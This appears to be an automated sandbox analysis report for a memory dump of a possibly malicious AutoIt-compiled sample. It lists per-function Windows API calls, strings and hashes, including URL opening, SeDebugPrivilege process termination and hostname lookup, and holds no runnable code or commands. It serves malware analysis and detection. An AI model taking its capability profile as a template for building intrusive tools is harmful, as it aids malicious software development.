Instruction ID: 2d725fb3dfcea946d81e82da70b3759163e79df5d4cb4b086972092ced7f0641
Opcode Fuzzy Hash: fdde0cf8303b4ef0bbbe50f0e03712f7565b1cef5adcee9a87bf4a2e7e1231a6
Instruction Fuzzy Hash: 8D21F675D00218BBCF15AFA0EC89EEEBBB8EF25300F104156F951A32A6D7755815DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00204382 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 002043FC
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 002043FF
GetWindowLongW.USER32(?,000000F0), ref: 00204426
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00204449
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 002044C1
SendMessageW.USER32(?,00001074,00000000,00000007), ref: 0020450B
SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00204526
SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00204541
SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00204555
SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00204572

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend$LongWindow
String ID:
API String ID: 312131281-0
Opcode ID: e30cbf51bcede0e6d1a13ed04e19da147c014d7ce2f0d1731da2e2d4e66515cf
Instruction ID: b8a12fd2a30b6e1d3a935c4df468965b5360d885950c1e0dbedc75600dcb4dc5
Opcode Fuzzy Hash: e30cbf51bcede0e6d1a13ed04e19da147c014d7ce2f0d1731da2e2d4e66515cf
Instruction Fuzzy Hash: 3A617CB5900308AFDB21DFA4DC85EEE77B8EB09310F504159FA14A72E2C770AA55DF60

Uniqueness

Uniqueness Score: -1.00%

Function 001ECBB0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 001ECBCF
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001ECBF7
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 001ECC27
GetLastError.KERNEL32 ref: 001ECC7F
SetEvent.KERNEL32(?), ref: 001ECC93
InternetCloseHandle.WININET(00000000), ref: 001ECC9E

Strings

, xrefs: 001ECC18

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: f857faef827b01e05fda7614cee1a63becff6baac5d5b0356096ff9b6284bd46
Instruction ID: 01e7e665391ff9b7779df2d5980093ba8299cc60b8d23fd5296215123dd44b13
Opcode Fuzzy Hash: f857faef827b01e05fda7614cee1a63becff6baac5d5b0356096ff9b6284bd46
Instruction Fuzzy Hash: A531AEB1500B44AFD7219FA6DD88AAF7BFCEB59744B20051EF84AD3211DB30D9069BA1

Uniqueness

Uniqueness Score: -1.00%

Function 001DA12A Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,001B5437,?,?,Bad directive syntax error,0020DCD0,00000000,00000010,?,?), ref: 001DA14B
LoadStringW.USER32(00000000,?,001B5437,?), ref: 001DA152

Part of subcall function 0017B25F: _wcslen.LIBCMT ref: 0017B269

MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 001DA216

Strings

%s (%d) : ==> %s.: %s %s, xrefs: 001DA180
Line %d:, xrefs: 001DA1A1
., xrefs: 001DA1FC
Error: , xrefs: 001DA1E4
Line %d (File "%s"):, xrefs: 001DA1BC

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: HandleLoadMessageModuleString_wcslen
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 858772685-4153970271
Opcode ID: 8c87eca8e999fcb7f8e8f53782318235927d1e9b472a30c8a2d700e9cc297322
Instruction ID: fc1474de6088d11a88dd840754a9f48e5ec6e450e0da9a9120d6c54229373e52
Opcode Fuzzy Hash: 8c87eca8e999fcb7f8e8f53782318235927d1e9b472a30c8a2d700e9cc297322
Instruction Fuzzy Hash: D421807181431EAFCF11EF90CC4AEEE7B39BF28304F048456F519650A2DB71AA28EB11

Uniqueness

Uniqueness Score: -1.00%

Function 001D292F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 001D293B
GetClassNameW.USER32(00000000,?,00000100), ref: 001D2950
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 001D29DD

Strings

SHELLDLL_DefView, xrefs: 001D295C
largeicons, xrefs: 001D2971
details, xrefs: 001D298B
smallicons, xrefs: 001D29A5
list, xrefs: 001D29BF

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: ClassMessageNameParentSend
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1290815626-3381328864
Opcode ID: 63068f83e8703e2a71c36fa2be17de03ecf18643a655efcf99e9b3bd43b664a8
Instruction ID: 7c40ba02ef1f9ee8efd914b9fe46a39f9ea7f3d7cda0ee208f3031dc427ab05c
Opcode Fuzzy Hash: 63068f83e8703e2a71c36fa2be17de03ecf18643a655efcf99e9b3bd43b664a8
Instruction Fuzzy Hash: 711106BA284316BAFE082264EC1BCE6B7DD8F32728F204113F910F51D2EB7269525954

Uniqueness

Uniqueness Score: -1.00%

Function 001ECAA0 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 001ECADF
GetLastError.KERNEL32 ref: 001ECAF2
SetEvent.KERNEL32(?), ref: 001ECB06

Part of subcall function 001ECBB0: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 001ECBCF
Part of subcall function 001ECBB0: GetLastError.KERNEL32 ref: 001ECC7F
Part of subcall function 001ECBB0: SetEvent.KERNEL32(?), ref: 001ECC93
Part of subcall function 001ECBB0: InternetCloseHandle.WININET(00000000), ref: 001ECC9E

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
String ID:
API String ID: 337547030-0
Opcode ID: 43245cf8fd58672d8f910a692b3bf773fce873fce9f814c08c7e59663c57a0f7
Instruction ID: 979adde8270571933a8101de4dd6379677c621a484ee10c14b8987d23da00974
Opcode Fuzzy Hash: 43245cf8fd58672d8f910a692b3bf773fce873fce9f814c08c7e59663c57a0f7
Instruction Fuzzy Hash: DF318D71601B45AFDB219FB6DD49AABBBF8FF48390B04441DF85683621D730E812DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001D2093 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,001D1CD9,?,?,00000000), ref: 001D209C
HeapAlloc.KERNEL32(00000000,?,001D1CD9,?,?,00000000), ref: 001D20A3
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,001D1CD9,?,?,00000000), ref: 001D20B8
GetCurrentProcess.KERNEL32(?,00000000,?,001D1CD9,?,?,00000000), ref: 001D20C0
DuplicateHandle.KERNEL32(00000000,?,001D1CD9,?,?,00000000), ref: 001D20C3
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,001D1CD9,?,?,00000000), ref: 001D20D3
GetCurrentProcess.KERNEL32(001D1CD9,00000000,?,001D1CD9,?,?,00000000), ref: 001D20DB
DuplicateHandle.KERNEL32(00000000,?,001D1CD9,?,?,00000000), ref: 001D20DE
CreateThread.KERNEL32(00000000,00000000,001D2104,00000000,00000000,00000000), ref: 001D20F8

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 27e9d208d99fa177a48507360bea3335e34dd6d725654d89da7eee5bbaac2844
Instruction ID: 0a902dd82f40f06d62de2fd0ea30b46be4fa27033d2816053bd3e7f1ed67d91f
Opcode Fuzzy Hash: 27e9d208d99fa177a48507360bea3335e34dd6d725654d89da7eee5bbaac2844
Instruction Fuzzy Hash: 1501CDB5241308BFE710AFA5EC4DF6B7BACEB89711F008411FA05DB2A2CA749800CB20

Uniqueness

Uniqueness Score: -1.00%

Function 001FAA41 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON

Download Yara Rule

APIs

Part of subcall function 001DDC9C: CreateToolhelp32Snapshot.KERNEL32 ref: 001DDCC1
Part of subcall function 001DDC9C: Process32FirstW.KERNEL32(00000000,?), ref: 001DDCCF
Part of subcall function 001DDC9C: FindCloseChangeNotification.KERNELBASE(00000000), ref: 001DDD9C

OpenProcess.KERNEL32(00000001,00000000,?), ref: 001FAACC
GetLastError.KERNEL32 ref: 001FAADF
OpenProcess.KERNEL32(00000001,00000000,?), ref: 001FAB12
TerminateProcess.KERNEL32(00000000,00000000), ref: 001FABC7
GetLastError.KERNEL32(00000000), ref: 001FABD2
CloseHandle.KERNEL32(00000000), ref: 001FAC23

Strings

SeDebugPrivilege, xrefs: 001FAAEE

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Process$CloseErrorLastOpen$ChangeCreateFindFirstHandleNotificationProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 1701285019-2896544425
Opcode ID: d033dc14646e153ec692d9eab6563fb1b45f29ad9a687ceb27cf9d565b6716e5
Instruction ID: 6fa33aa86b0d9fdabc643c15fed7c192ff99e8339416b011054e38de7a2aec1d
Opcode Fuzzy Hash: d033dc14646e153ec692d9eab6563fb1b45f29ad9a687ceb27cf9d565b6716e5
Instruction Fuzzy Hash: 9B618F70204602AFD324DF14C498F26BBE5AF54318F58C49CE56A4B7A3CB79ED45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 002041E5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00204284
SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00204299
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 002042B3
_wcslen.LIBCMT ref: 002042F8
SendMessageW.USER32(?,00001057,00000000,?), ref: 00204325
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00204353

Strings

SysListView32, xrefs: 00204256

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSend$Window_wcslen
String ID: SysListView32
API String ID: 2147712094-78025650
Opcode ID: ed4b708a10436fcdfb58853f576b49b34000df5242d64094a02027ca28acde33
Instruction ID: 402110361646f61ca37636bc37850b05aa557c634c318015f0723d9b88d6f8da
Opcode Fuzzy Hash: ed4b708a10436fcdfb58853f576b49b34000df5242d64094a02027ca28acde33
Instruction Fuzzy Hash: 5941C271A10309AFDB21AFA4CC49FEA7BA9FF08350F104126FA54E71D2D77099A0CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001DC53A Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001DC5D9
IsMenu.USER32(00000000), ref: 001DC5F9
CreatePopupMenu.USER32 ref: 001DC62F
GetMenuItemCount.USER32(00F36198), ref: 001DC680
InsertMenuItemW.USER32(00F36198,?,00000001,00000030), ref: 001DC6A8

Strings

2, xrefs: 001DC613
0, xrefs: 001DC584

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup
String ID: 0$2
API String ID: 93392585-3793063076
Opcode ID: 2a8a2d4850ab59c78e40b0fcdc438bd809b64fe92dccfe2f15e627297d5f6b97
Instruction ID: 4135e5ef107707ed071d55558b96d454347625bae168df9ed549e05374c61e44
Opcode Fuzzy Hash: 2a8a2d4850ab59c78e40b0fcdc438bd809b64fe92dccfe2f15e627297d5f6b97
Instruction Fuzzy Hash: 9F51D370A01306ABDF20CFA8D988BEEBFF5AF54314F14595AE811973A1E770D940CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001DE653 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 001DE66E
gethostname.WSOCK32(?,00000100), ref: 001DE688
gethostbyname.WSOCK32(?), ref: 001DE695
inet_ntoa.WSOCK32(?), ref: 001DE6D7
_strcat.LIBCMT ref: 001DE6E5
WSACleanup.WSOCK32 ref: 001DE70A

Strings

0.0.0.0, xrefs: 001DE6B3

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 642191829-3771769585
Opcode ID: a8f2f1a7cbcff3d96887467f8086b794b120de6ebf43a0fb3e1a0225363d4a1e
Instruction ID: f0d1b567b43b627f59a08cd5c9ce2094c15d37d182e8b7536571defe19450571
Opcode Fuzzy Hash: a8f2f1a7cbcff3d96887467f8086b794b120de6ebf43a0fb3e1a0225363d4a1e
Instruction Fuzzy Hash: BF110371900215ABDF247BB0AC4EEEE77FCEF24711F11016AF54596192EF70CA829A90

Uniqueness

Uniqueness Score: -1.00%

Function 001F42A4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001F42C8
CharUpperBuffW.USER32(?,?), ref: 001F43D7
_wcslen.LIBCMT ref: 001F43E7
VariantClear.OLEAUT32(?), ref: 001F457C

Part of subcall function 001E15B3: VariantInit.OLEAUT32(00000000), ref: 001E15F3
Part of subcall function 001E15B3: VariantCopy.OLEAUT32(?,?), ref: 001E15FC
Part of subcall function 001E15B3: VariantClear.OLEAUT32(?), ref: 001E1608

Strings

Incorrect Parameter format, xrefs: 001F4303, 001F44FE
AUTOIT.ERROR, xrefs: 001F43DD, 001F43E2

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper_wcslen
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4137639002-1221869570
Opcode ID: 714e7387152afaaa03bbfd59c45583927962e91b8302cbba82bfde75f6327831
Instruction ID: 71f4a217a07c82681c7ffa2dedc6a253922e4223a603ff40f1a926a88f0cf1a0
Opcode Fuzzy Hash: 714e7387152afaaa03bbfd59c45583927962e91b8302cbba82bfde75f6327831
Instruction Fuzzy Hash: 749166756083059FC704EF68C48096AB7E5FF98314F14892DF98A9B351DB30ED46CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00202A5C Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00202AE2
GetMenuItemCount.USER32(00000000), ref: 00202B14
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00202B3C
_wcslen.LIBCMT ref: 00202B72
GetMenuItemID.USER32(?,?), ref: 00202BAC
GetSubMenu.USER32(?,?), ref: 00202BBA

Part of subcall function 001D42CC: GetWindowThreadProcessId.USER32(?,00000000), ref: 001D42E6
Part of subcall function 001D42CC: GetCurrentThreadId.KERNEL32 ref: 001D42ED
Part of subcall function 001D42CC: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,001D2E43), ref: 001D42F4

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00202C42

Part of subcall function 001DF1A7: Sleep.KERNEL32 ref: 001DF21F

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 1e1bf567f204240042676c4734875f115e53c510b00106bb31a2c88d114ba3aa
Instruction ID: 9e312c2e31c51b160c8b17725a9a2cd0ea5a96a103f46857dd98beb51fa0a544
Opcode Fuzzy Hash: 1e1bf567f204240042676c4734875f115e53c510b00106bb31a2c88d114ba3aa
Instruction Fuzzy Hash: 3271B435A10315EFCB10EFA4C849AAEB7F5EF58314F11845AE816EB382DB74ED418B90

Uniqueness

Uniqueness Score: -1.00%

Function 002087FD Relevance: 10.7, APIs: 7, Instructions: 193windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00208896
IsWindowEnabled.USER32(00000000), ref: 002088A2
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0020897D
SendMessageW.USER32(00000000,000000B0,?,?), ref: 002089B0
IsDlgButtonChecked.USER32(?,00000000), ref: 002089E8
GetWindowLongW.USER32(00000000,000000EC), ref: 00208A0A
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 00208A22

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: e0afe05438e4b7d82593679c6965c7330be69f0416a19fefb7d594004486917e
Instruction ID: dae39c8804b53df26380ae8afea2ae5acae7ea6b8b6e304ba73b9b6406a30dce
Opcode Fuzzy Hash: e0afe05438e4b7d82593679c6965c7330be69f0416a19fefb7d594004486917e
Instruction Fuzzy Hash: 9771BC3461030AAFEF219F54C884FBBBBB9EF49310F544459E985973A3CB31A960CB11

Uniqueness

Uniqueness Score: -1.00%

Function 001D808C Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001D80D1
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001D80F7
SysAllocString.OLEAUT32(00000000), ref: 001D80FA
SysAllocString.OLEAUT32 ref: 001D811B
SysFreeString.OLEAUT32 ref: 001D8124
StringFromGUID2.OLE32(?,?,00000028), ref: 001D813E
SysAllocString.OLEAUT32(?), ref: 001D814C

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 98c2ccd18e250a59c5e7e8f7fff53727eecf40810fa43583de69486b63456a22
Instruction ID: 30059424687779054d23ed7721392f1f51617b5e2216dfdf539bc8abc04c1e55
Opcode Fuzzy Hash: 98c2ccd18e250a59c5e7e8f7fff53727eecf40810fa43583de69486b63456a22
Instruction Fuzzy Hash: 8C218375201214BFDF109FA8DC88DAA77ECEB493607048126F915CB3A1DB70EC4ACB64

Uniqueness

Uniqueness Score: -1.00%

Function 001E0D8E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 001E0DAE
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 001E0DEA

Strings

nul, xrefs: 001E0E23

Memory Dump Source

Source File: 00000006.00000002.1605808658.0000000000171000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00170000, based on PE: true

Associated: 00000006.00000002.1605754470.0000000000170000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.000000000020D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1605954628.0000000000233000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606042874.000000000023D000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.1606093728.0000000000245000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_170000_ewdbwwfpdh.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
